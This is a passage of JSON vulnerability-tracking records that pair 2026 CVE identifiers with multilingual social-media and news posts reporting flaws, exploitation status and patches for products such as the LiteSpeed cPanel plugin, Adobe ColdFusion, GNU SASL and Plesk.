for WordPress is vulnerable to SQL Injection via the 'search_key' parameter in all versions up to, and including, 1.5.1. Thi...", "creation_timestamp": "2026-05-22T06:30:58.355265Z"}, {"uuid": "404fb5f5-2b8f-4606-9a5f-224ed4b94feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4843", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mmgjimchmx2a", "content": "CVE-2026-4843 import-products-from-gsheet-for-woo-importer (CVSS Score 4.3) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-22T08:32:06.201401Z"}, {"uuid": "3acd8788-cb90-4a59-a768-bb4d3ec33141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3ms4nkhrq6k25", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-4878 \u0432 libcap: \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 Time-of-Check-to-Time-of-Use (TOCTOU)\n\n\n\nhttps://kripta.biz/posts/A129D52E-2546-4098-BDB0-A2BB8906D06D", "creation_timestamp": "2026-08-02T18:49:16.005476Z"}, {"uuid": "eebdf0ae-913d-4063-9126-ea6fc6dd55da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3ms4nkr3tlp2b", "content": "CVE-2026-4878: \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d1-libcap \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd \u05dc\u05d0 \u05de\u05d5\u05e8\u05e9\u05d9\u05dd \u05dc\u05e0\u05e6\u05dc \u05ea\u05e7\u05d5\u05e4\u05ea \u05d1\u05d3\u05d9\u05e7\u05d4 \u05dc\u05d6\u05de\u05df (TOCTOU) \u05d5\u05dc\u05d4\u05e9\u05d9\u05d2 \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05d2\u05d1\u05d5\u05d4\u05d5\u05ea\n\n\n\nhttps://khesef.xyz/posts/7D3F3886-BC16-456B-BAC3-B5C6D00F9B5A", "creation_timestamp": "2026-08-02T18:49:25.767394Z"}, {"uuid": "f5aef989-2480-4630-9624-2d8e88f20bd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48142", "type": "seen", "source": "https://t.me/angie_software/168", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442!\n\n\u0412\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Angie \u0438 Angie PRO 1.11.8 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0440\u0430\u043d\u0435\u0435 \u0432 nginx.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c gRPC (CVE-2026-42055), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u044b \"charset_map\" (CVE-2026-48142).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-42530, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u0430\u044f \u0432 nginx-\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 HTTP/3, \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Angie.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432 \"acme_http_port\" \u0438 \"acme_dns_port\".\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Angie \u0438 Angie PRO.\n\n\u0425\u043e\u0440\u043e\u0448\u0435\u0433\u043e \u0434\u043d\u044f!", "creation_timestamp": "2026-08-29T18:00:05.355588Z"}, {"uuid": "69f29bd5-796e-4833-a12c-b75bac54ad5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "Telegram/0JZVqbB1rKqBB9hp8lsgoqSMQmBZfJa9U3GcChkguYZyduk", "content": "", "creation_timestamp": "2026-05-23T19:00:10.000000Z"}, {"uuid": "b50a24d0-0043-4545-8663-e1a79b5a1d93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mmi27r4x4p2u", "content": "Critical 0-Day Alert: LiteSpeed cPanel Plugin Flaw (CVE-2026-48172) Actively Exploited for Full Root Access \u2013 Patch or Perish +\u00a0Video\n\nIntroduction A critical privilege escalation vulnerability, designated CVE-2026-48172 and carrying a maximum CVSS score of 10.0, is being actively exploited in the\u2026", "creation_timestamp": "2026-05-22T23:04:03.558267Z"}, {"uuid": "f0021020-7669-4e3e-af43-c2729fbbcc5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48700", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmi2fe6z5d2h", "content": "CVE-2026-48700 - PCManFM-Qt File Path URI Execution\nCVE ID : CVE-2026-48700\n \n Published : May 22, 2026, 6:43 p.m. | 1\u00a0hour, 37\u00a0minutes ago\n \n Description : An issue was discovered in all versions of PCManFM-Qt starting from 1.1.0. When a regular file's path is passed as a URI...", "creation_timestamp": "2026-05-22T23:07:23.664837Z"}, {"uuid": "b69734db-a230-4a0d-866f-f77875137751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mmiye3ratv2i", "content": "CVE-2026-48172 in LiteSpeed cPanel Plugin exploited; update to v2.4.7 or uninstall immediately. #LiteSpeed #cPanel #CVE202648172 #PotatoSecurity #Vulnerability #PatchNow thedailytechfeed.com/critical-vul...", "creation_timestamp": "2026-05-23T08:05:30.854116Z"}, {"uuid": "a960e304-a1eb-464b-bad2-8eaec55caeac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mmj25a6bnhu2", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root A maximum-severity security vulnerability impacting LiteSpeed User-End cPanel Plugin has come under active exploitation in th...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-23T08:35:47.298499Z"}, {"uuid": "8e6a4928-e3d6-4d63-a323-b77bdeec8a9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmjaa5ogbc2v", "content": "LiteSpeed cPanel Plugin \u306e CVE-2026-48172 \u306f\u3001\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u4efb\u610f\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092root\u6a29\u9650\u3067\u5b9f\u884c\u53ef\u80fd\u3002", "creation_timestamp": "2026-05-23T10:24:18.714400Z"}, {"uuid": "7b0302c4-43e6-45f0-87df-ef254cb1de18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/ctinow/250742", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root\nhttps://ift.tt/5lQjHSI", "creation_timestamp": "2026-05-23T08:09:34.000000Z"}, {"uuid": "53fdc162-6826-48a1-aa4c-a247268cee85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html", "content": "A maximum-severity security vulnerability impacting LiteSpeed User-End cPanel Plugin has come under active exploitation in the wild.\n\nThe flaw, tracked as CVE-2026-48172 (CVSS score: 10.0), relates to an instance of incorrect privilege assignment that an attacker could abuse to run arbitrary scripts with elevated permissions.\n\n\"Any cPanel user (including an attacker or a compromised account) may", "creation_timestamp": "2026-05-23T05:35:13.000000Z"}, {"uuid": "49e51a63-c1d1-4c78-b82c-5119121b1b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/10586", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root \u2013 thehackernews.com\n\nSat, 23 May 2026 15:35:13", "creation_timestamp": "2026-05-23T12:03:30.000000Z"}, {"uuid": "a66d1f19-f22d-4074-9720-491213114c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://t.me/thehackernews/9067", "content": "\ud83d\udea8 Active exploit: LiteSpeed cPanel root flaw.\n\nhttps://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html\n\nCVE-2026-48172 is a CVSS 10.0 vulnerability in LiteSpeed User-End cPanel Plugin that lets any cPanel user run arbitrary scripts as root.\n\n\ud83d\udd38 Affected: v2.3\u20132.4.4\n\ud83d\udd38 Not affected: WHM plugin\n\ud83d\udd38 Fix: upgrade to WHM Plugin 5.3.1.0 with cPanel plugin v2.4.7+\n\ud83d\udd38 IOC: cpanel_jsonapi_func=redisAble", "creation_timestamp": "2026-05-23T07:43:09.000000Z"}, {"uuid": "0b3bfdca-a27b-40e6-9861-315ddee54369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48829", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116627670734636375", "content": "GNU SASL <2.2.3 is vulnerable (CVE-2026-48829): HIGH severity NULL pointer dereference in DIGEST-MD5 can crash clients/servers (DoS risk). No patch yet \u2014 consider disabling DIGEST-MD5 for now. https://radar.offseq.com/threat/cve-2026-48829-cwe-476-null-pointer-dereference-in-e31bf97e #OffSeq #GNU #Vuln #DenialOfService", "creation_timestamp": "2026-05-24T04:30:27.265109Z"}, {"uuid": "6a8b968e-65c2-41ae-9cf4-8f59c9f7669c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "https://t.me/GithubRedTeam/85591", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-4885\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Jenderal92\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-23 17:52:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPiotnet Addons for Elementor Pro <= 7.1.70 - Unauthenticated Arbitrary File Upload via Form File Upload\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-23T18:00:04.000000Z"}, {"uuid": "fb1ab636-ec57-40c6-b37a-0a8a5b0343a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48829", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mml4wfhozp2f", "content": "GNU SASL before 2.2.3: HIGH severity NULL pointer bug in DIGEST-MD5 causes DoS for clients & servers. No patch yet \u2014 disable DIGEST-MD5 if possible. https://radar.offseq.com/threat/cve-2026-48829-cwe-476-null-pointer-dereference-in-e31bf97e #OffSeq #GNU #Vulnerability", "creation_timestamp": "2026-05-24T04:31:35.116274Z"}, {"uuid": "6520bf25-84b8-4a57-b204-9c3c2571a24f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mmllcebp4c2z", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root thehackernews.com/2026/05/lite...", "creation_timestamp": "2026-05-24T08:47:45.496337Z"}, {"uuid": "66f66fed-2468-4b16-b152-334e5e0aa271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mmlu7k542s2g", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root\n\nA maximum-severity security vulnerability impacting LiteSpeed User-End cPanel Plugin has come under active exploitation in the wild.\n\nThe flaw, tracked as CVE-2026-48172 (CVSS score: 10.0), relates to an inst\u2026\n#hackernews #news", "creation_timestamp": "2026-05-24T11:27:12.104608Z"}, {"uuid": "da844c10-f7dc-4fcd-873c-f35a21365c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "Telegram/aIPIWoZyEYzzX9nHUVKB1aA0s_e1mj3mQ8Eug10fFDw9pT4", "content": "", "creation_timestamp": "2026-05-24T03:00:05.000000Z"}, {"uuid": "e139f191-2831-438b-ad3b-a67df7c60117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48700", "type": "seen", "source": "https://bsky.app/profile/matoken.inari.opencocon.org.ap.brid.gy/post/3mmmusivcvso2", "content": "\u6700\u8fd1\u4f7f\u3063\u3066\u3044\u308b\u30d5\u30a1\u30a4\u30e9\u30fc\u306bCVE\u304c\n\nCVE Record: CVE-2026-48700 https://www.cve.org/CVERecord?id=CVE-2026-48700", "creation_timestamp": "2026-05-24T21:10:32.389712Z"}, {"uuid": "e697db81-ce04-4689-8ae2-aa68f40fe8a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "Telegram/_KWAnd6RR6PDJnxcxd09YuafzYNN0qOVlN75nUN-G9yG8iw", "content": "", "creation_timestamp": "2026-05-23T15:00:07.000000Z"}, {"uuid": "0afa3915-9add-4281-af3f-7bac2b1671af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "Telegram/w5uXU2fuLydowGU1SOSgKNWyV15qQF5OtJmcXbqSodLpsbQ", "content": "", "creation_timestamp": "2026-05-21T15:00:17.000000Z"}, {"uuid": "6a02e7cf-a498-4b86-a4ae-0204c4494905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrz5tttfed2c", "content": "\ud83e\udd16 CVE-2026-48449 (CVSS 10.0): incorrect authorization in Adobe Campaign Classic allows arbitrary code execution without user interaction. Patch released.\nhttps://thehackernews.com/2026/08/adobe-campaign-classic-cvss-100-flaw.html", "creation_timestamp": "2026-08-01T09:30:13.823972Z"}, {"uuid": "eebe4c37-5f44-48b2-acbf-9913fea03cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb5m7kz3c2c", "content": "CISA\u304c\u3001Adobe\u3001Joomla\u3001Langflow\u3067\u60aa\u7528\u3055\u308c\u3066\u3044\u308b4\u3064\u306e\u8106\u5f31\u6027\u3092KEV\u306b\u8ffd\u52a0\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u706b\u66dc\u65e5\u3001\u65e2\u77e5\u306e\u60aa\u7528\u4e8b\u4f8b\u306e\u8a3c\u62e0\u304c\u3042\u308b\u3068\u3057\u3066\u3001\u65e2\u77e5\u306e\u60aa\u7528\u4e8b\u4f8b\uff08KEV \uff09\u30ab\u30bf\u30ed\u30b0\u306b4\u3064\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u8ffd\u52a0\u3057\u305f \u3002\n\n\u8106\u5f31\u6027\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-48282\uff08CVSS\u30b9\u30b3\u30a2\uff1a10.0\uff09 - Adob\u200b\u200be ColdFusion\u306b\u304a\u3051\u308b\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027\u3002\u73fe\u5728\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\nCVE-2026-56290\uff08CVSS\u30b9\u30b3\u30a2\uff1a10.0\uff09 - ...", "creation_timestamp": "2026-08-04T13:47:17.401311Z"}, {"uuid": "40b9b6e0-f489-4266-b207-af4707b4ec3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "seen", "source": "Telegram/6gh1HJgE3RFVn7K8UtbcJPp_JwEYzEQXCykvkUTLZjGZEDc", "content": "", "creation_timestamp": "2026-05-21T21:00:05.000000Z"}, {"uuid": "152232e0-09a4-4562-87d1-2a5bdf2ec9bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48331", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3ms7xdm562k2s", "content": "Adobe patched critical Adobe Campaign Classic flaws. CVE-2026-48331 scores CVSS 10.0 and enables arbitrary code execution. Update to build 9399 now.\n\n#Adobe #AdobeCampaignClassic #CVE202648331 #ArbitraryCodeExecution #Vulnerability #SSRF #SQLInjection #InfoSec #CyberSecurity", "creation_timestamp": "2026-08-04T02:22:22.890705Z"}, {"uuid": "d0b46971-a02b-451b-9394-4f9475fd44cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48614", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb5wvmb4s2c", "content": "\u300cPlesk\u300d\u306eXML API\u95a2\u9023\u306b\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027\n\nWebPros\u304c\u63d0\u4f9b\u3059\u308b\u30b5\u30fc\u30d0\u7ba1\u7406\u30bd\u30d5\u30c8\u300cPlesk\u300d\u306e\u8907\u6570\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u3044\u305a\u308c\u3082\u4fee\u6b63\u3057\u3066\u3044\u308b\u3002\n\n\u540c\u793e\u306f2026\u5e747\u67082\u65e5\u304a\u3088\u30737\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u8106\u5f31\u6027\u300cCVE-2026-48614\u300d\u300cCVE-2026-56843\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-48614\u300d\u306f\u3001\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u300cPlesk XML API\u300d\u306b\u304a\u3051\u308b\u8a8d\u53ef\u51e6\u7406\u306e\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u8106\u5f31\u6027\u3002\u8a8d\u8a3c\u6e08\u307f\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3067\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u304c\u53ef\u80fd\u3068\u306a\u308a\u3001\u57fa\u76e4\u3068\u306a\u308b\u30b5\u30fc\u30d0\u306e\u6a29\u9650\u304c\u53d6\u5f97\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b", "creation_timestamp": "2026-08-04T13:53:12.460211Z"}, {"uuid": "49049cfa-25d4-4324-95ee-0b66cbf37be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb5u47cds2c", "content": "CISA\u306f\u9023\u90a6\u653f\u5e9c\u306b\u5bfe\u3057\u3001\u91d1\u66dc\u65e5\u307e\u3067\u306bColdFusion\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308b\u3088\u3046\u547d\u3058\u305f\u3002\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Adobe ColdFusion\u306e\u5546\u7528\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u5b58\u5728\u3059\u308b\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027\u3092\u3001\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3057\u91d1\u66dc\u65e5\u307e\u3067\u306b\u4fee\u6b63\u3059\u308b\u3088\u3046\u547d\u3058\u305f\u3002\n\n\u3053\u306e\u8106\u5f31\u6027\uff08CVE-2026-48282\uff09\u306f\u3001ColdFusion\u306e\u30d0\u30fc\u30b8\u30e7\u30f32025.9\u30012023.20\u3001\u304a\u3088\u3073\u305d\u308c\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u6a29\u9650\u3092\u6301\u305f\u306a\u3044\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u304c\u3001\u30d1\u30c3\u30c1\u304c\u9069\u7528\u3055\u308c\u3066\u3044\u306a\u3044\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u30b3\u30fc\u30c9\u5b9f\u884c\u6a29\u9650\u3092...", "creation_timestamp": "2026-08-04T13:51:42.816217Z"}, {"uuid": "85d71bc9-b7c8-4df1-bbba-ebdc072be37a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb5zmcsbs2c", "content": "CISA\u304cAdobe ColdFusion\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u8b66\u544a\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Adobe ColdFusion\u306b\u5b58\u5728\u3059\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\uff08CVE-2026-48282\uff09\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u30022026\u5e747\u67087\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30d1\u30b9\u30fb\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u653b\u6483\u306e\u8106\u5f31\u6027\u3067\u3042\u308a\u3001\u653b\u6483\u8005\u304c\u73fe\u5728\u306e\u30e6\u30fc\u30b6\u30fc\u306e\u6a29\u9650\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306b\u63a5\u